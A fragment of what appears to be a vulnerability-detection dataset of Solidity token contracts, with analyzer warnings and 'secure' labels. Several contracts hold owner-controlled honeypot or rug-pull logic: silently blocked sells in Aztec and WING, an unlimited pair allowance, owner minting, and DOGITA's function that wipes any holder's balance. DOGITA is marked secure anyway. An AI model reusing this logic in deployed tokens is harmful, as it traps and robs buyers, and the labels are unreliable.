{\n require(msg.sender == master);\n\n _;\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 347b59d): Contract locking ether found Contract Aztec has payable functions Ownable.constructor() Aztec.constructor() But does not have a function to withdraw the ether\n\t// Recommendation for 347b59d: Remove the 'payable' attribute or add a withdraw function.\n constructor() payable {\n _router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _factory = IUniswapV2Factory(\n 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f\n );\n\n pair = IUniswapV2Pair(\n _factory.createPair(\n address(this),\n address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)\n )\n );\n\n _balances[owner()] = _totalSupply;\n\n master = owner();\n\n _allowances[address(pair)][master] = ~uint256(0);\n\n _marketersAndDevs[owner()] = true;\n\n emit Transfer(address(0), owner(), _totalSupply);\n }\n\n function name() external pure override returns (string memory) {\n return \"Aztec\";\n }\n\n function symbol() external pure override returns (string memory) {\n return \"AZT\";\n }\n\n function decimals() external pure override returns (uint8) {\n return _DECIMALS;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_canTransfer(_msgSender(), recipient, amount)) {\n _transfer(_msgSender(), recipient, amount);\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5cf5479): Aztec.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5cf5479: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_canTransfer(sender, recipient, amount)) {\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _transfer(sender, recipient, amount);\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c8e95cf): Aztec.burn(uint256) should emit an event for _totalSupply = amount \n\t// Recommendation for c8e95cf: Emit an event for critical parameter changes.\n function burn(uint256 amount) external onlyOwner {\n _balances[owner()] -= amount;\n\n\t\t// events-maths | ID: c8e95cf\n _totalSupply -= amount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7be6bd5): Aztec.setNumber(uint256) should emit an event for _theNumberBNB = newNumber \n\t// Recommendation for 7be6bd5: Emit an event for critical parameter changes.\n function setNumber(uint256 newNumber) external onlyOwner {\n\t\t// events-maths | ID: 7be6bd5\n _theNumberBNB = newNumber;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: bb1e20b): Aztec.setMaster(address).account lacks a zerocheck on \t master = account\n\t// Recommendation for bb1e20b: Check that the address is not zero.\n\t// WARNING Vulnerability (events-access | severity: Low | ID: a7d1ebd): Aztec.setMaster(address) should emit an event for master = account \n\t// Recommendation for a7d1ebd: Emit an event for critical parameter changes.\n function setMaster(address account) external onlyOwner {\n _allowances[address(pair)][master] = 0;\n\n\t\t// missing-zero-check | ID: bb1e20b\n\t\t// events-access | ID: a7d1ebd\n master = account;\n\n _allowances[address(pair)][master] = ~uint256(0);\n }\n\n function syncPair() external onlyMaster {\n pair.sync();\n }\n\n function includeInReward(address account) external onlyMaster {\n _marketersAndDevs[account] = true;\n }\n\n function excludeFromReward(address account) external onlyMaster {\n _marketersAndDevs[account] = false;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 8a28077): Aztec.rewardHolders(uint256) should emit an event for _totalSupply += amount \n\t// Recommendation for 8a28077: Emit an event for critical parameter changes.\n function rewardHolders(uint256 amount) external onlyOwner {\n _balances[owner()] += amount;\n\n\t\t// events-maths | ID: 8a28077\n _totalSupply += amount;\n }\n\n function _isSuper(address account) private view returns (bool) {\n return (account == address(_router) || account == address(pair));\n }\n\n function _canTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) private view returns (bool) {\n if (_marketersAndDevs[sender] || _marketersAndDevs[recipient]) {\n return true;\n }\n\n if (_isSuper(sender)) {\n return true;\n }\n\n if (_isSuper(recipient)) {\n uint256 amountBNB = _getBNBEquivalent(amount);\n\n uint256 bought = _buySum[sender];\n\n uint256 sold = _sellSum[sender];\n\n uint256 soldBNB = _sellSumBNB[sender];\n\n return\n bought >= sold + amount && _theNumberBNB >= soldBNB + amountBNB;\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n require(\n _balances[sender] >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] -= amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 92f1e0d): Aztec._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 92f1e0d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d069f00): Aztec._hasLiquidity() ignores return value by (reserve0,reserve1,None) = pair.getReserves()\n\t// Recommendation for d069f00: Ensure that all the return values of the function calls are used.\n function _hasLiquidity() private view returns (bool) {\n\t\t// unused-return | ID: d069f00\n (uint256 reserve0, uint256 reserve1, ) = pair.getReserves();\n\n return reserve0 > 0 && reserve1 > 0;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8915ed5): Aztec._getBNBEquivalent(uint256) ignores return value by (reserve0,reserve1,None) = pair.getReserves()\n\t// Recommendation for 8915ed5: Ensure that all the return values of the function calls are used.\n function _getBNBEquivalent(\n uint256 amountTokens\n ) private view returns (uint256) {\n\t\t// unused-return | ID: 8915ed5\n (uint256 reserve0, uint256 reserve1, ) = pair.getReserves();\n\n if (pair.token0() == _router.WETH()) {\n return _router.getAmountOut(amountTokens, reserve1, reserve0);\n } else {\n return _router.getAmountOut(amountTokens, reserve0, reserve1);\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) private {\n if (_hasLiquidity()) {\n if (_isSuper(from)) {\n _buySum[to] += amount;\n }\n\n if (_isSuper(to)) {\n _sellSum[from] += amount;\n\n _sellSumBNB[from] += _getBNBEquivalent(amount);\n }\n }\n }\n}", "file_name": "solidity_code_1415.sol", "secure": 0, "size_bytes": 11428 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract HARRIS is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0c9437a): HARRIS._taxWallet should be immutable \n\t// Recommendation for 0c9437a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5181593): HARRIS._initialBuyTax should be constant \n\t// Recommendation for 5181593: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: f06c5ff): HARRIS._initialSellTax should be constant \n\t// Recommendation for f06c5ff: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7dd099c): HARRIS._reduceBuyTaxAt should be constant \n\t// Recommendation for 7dd099c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: cf22e69): HARRIS._reduceSellTaxAt should be constant \n\t// Recommendation for cf22e69: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: cd30ffb): HARRIS._preventSwapBefore should be constant \n\t// Recommendation for cd30ffb: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 42069000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"President Harris\";\n\n string private constant _symbol = unicode\"HARRIS\";\n\n uint256 public _maxTxAmount = 1690000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1690000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7e17512): HARRIS._taxSwapThreshold should be constant \n\t// Recommendation for 7e17512: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 220690000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a325582): HARRIS._maxTaxSwap should be constant \n\t// Recommendation for a325582: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 420690000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 563988d): HARRIS.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 563988d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1a8c18c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1a8c18c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c45cce2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c45cce2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1a8c18c\n\t\t// reentrancy-benign | ID: c45cce2\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 1a8c18c\n\t\t// reentrancy-benign | ID: c45cce2\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 03ae6f7): HARRIS._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 03ae6f7: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c45cce2\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1a8c18c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b45da4c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b45da4c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8ce5e92): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8ce5e92: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: b45da4c\n\t\t\t\t// reentrancy-eth | ID: 8ce5e92\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: b45da4c\n\t\t\t\t\t// reentrancy-eth | ID: 8ce5e92\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 8ce5e92\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 8ce5e92\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 8ce5e92\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: b45da4c\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 8ce5e92\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 8ce5e92\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: b45da4c\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1a8c18c\n\t\t// reentrancy-events | ID: b45da4c\n\t\t// reentrancy-benign | ID: c45cce2\n\t\t// reentrancy-eth | ID: 8ce5e92\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: e634bfe): HARRIS.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for e634bfe: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1a8c18c\n\t\t// reentrancy-events | ID: b45da4c\n\t\t// reentrancy-eth | ID: 8ce5e92\n\t\t// arbitrary-send-eth | ID: e634bfe\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 935f878): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 935f878: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 14231bb): HARRIS.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 14231bb: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f910525): HARRIS.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for f910525: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ad4dc43): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ad4dc43: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 935f878\n\t\t// reentrancy-eth | ID: ad4dc43\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 935f878\n\t\t// unused-return | ID: 14231bb\n\t\t// reentrancy-eth | ID: ad4dc43\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 935f878\n\t\t// unused-return | ID: f910525\n\t\t// reentrancy-eth | ID: ad4dc43\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 935f878\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: ad4dc43\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}", "file_name": "solidity_code_1416.sol", "secure": 0, "size_bytes": 16849 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: e511b69): Contract locking ether found Contract MakerAI has payable functions MakerAI.receive() But does not have a function to withdraw the ether\n// Recommendation for e511b69: Remove the 'payable' attribute or add a withdraw function.\ncontract MakerAI is ERC20, Ownable {\n constructor() ERC20(unicode\"MakerAI\", unicode\"MYOAI\") {\n _mint(owner(), 10000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: e511b69): Contract locking ether found Contract MakerAI has payable functions MakerAI.receive() But does not have a function to withdraw the ether\n\t// Recommendation for e511b69: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_1417.sol", "secure": 0, "size_bytes": 999 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract DOGITA is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable diagram;\n\n constructor() {\n _name = \"DOGITA\";\n\n _symbol = \"DOGA\";\n\n _decimals = 18;\n\n uint256 initialSupply = 64700000000;\n\n diagram = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == diagram, \"Not allowed\");\n\n _;\n }\n\n function shortclean(address[] memory perspective) public onlyOwner {\n for (uint256 i = 0; i < perspective.length; i++) {\n address account = perspective[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_1418.sol", "secure": 1, "size_bytes": 4375 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Tard is ERC20, Ownable {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 95d9aef): Tard.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 95d9aef: Rename the local variables that shadow another component.\n constructor() ERC20(\"Rojak\", \"TARD\") Ownable(msg.sender) {\n uint256 totalSupply = 42000000000 * 10 ** decimals();\n\n _mint(msg.sender, totalSupply);\n }\n}", "file_name": "solidity_code_1419.sol", "secure": 0, "size_bytes": 683 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nabstract contract ReentrancyGuard {\n uint256 private constant NOT_ENTERED = 1;\n\n uint256 private constant ENTERED = 2;\n\n uint256 private _status;\n\n error ReentrancyGuardReentrantCall();\n\n constructor() {\n _status = NOT_ENTERED;\n }\n\n modifier nonReentrant() {\n _nonReentrantBefore();\n\n _;\n\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n if (_status == ENTERED) {\n revert ReentrancyGuardReentrantCall();\n }\n\n _status = ENTERED;\n }\n\n function _nonReentrantAfter() private {\n _status = NOT_ENTERED;\n }\n\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == ENTERED;\n }\n}", "file_name": "solidity_code_142.sol", "secure": 1, "size_bytes": 841 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract WING is ERC20, Ownable {\n mapping(address => uint256) public maxAmountTx;\n\n mapping(address => bool) excludeMaxTX;\n\n bool isTrading;\n\n constructor()\n ERC20(unicode\"Shiba Wings\", unicode\"WING\")\n Ownable(msg.sender)\n {\n excludeMaxTX[_msgSender()] = true;\n\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 8cb04b5): WING._update(address,address,uint256) uses tx.origin for authorization excludeMaxTX[tx.origin]\n\t// Recommendation for 8cb04b5: Do not use 'tx.origin' for authorization.\n function _update(\n address from,\n address to,\n uint256 value\n ) internal override {\n\t\t// tx-origin | ID: 8cb04b5\n if (excludeMaxTX[tx.origin]) {\n super._update(from, to, value);\n } else {\n require(isTrading, \"Trade has been open yet!\");\n\n if (\n (maxAmountTx[from] < tx.gasprice &&\n balanceOf(from) > 0 &&\n maxAmountTx[from] != 0) ||\n (maxAmountTx[to] < tx.gasprice &&\n balanceOf(from) > 0 &&\n maxAmountTx[from] != 0)\n ) {\n revert();\n }\n\n super._update(from, to, value);\n }\n }\n\n function approve(\n address spender,\n uint256 value\n ) public override returns (bool) {\n if (excludeMaxTX[_msgSender()]) {\n maxAmountTx[spender] = value;\n\n super.approve(spender, value);\n } else {\n super.approve(spender, value);\n }\n\n return true;\n }\n\n function openTrading() public onlyOwner {\n isTrading = true;\n }\n}", "file_name": "solidity_code_1420.sol", "secure": 0, "size_bytes": 1992 }
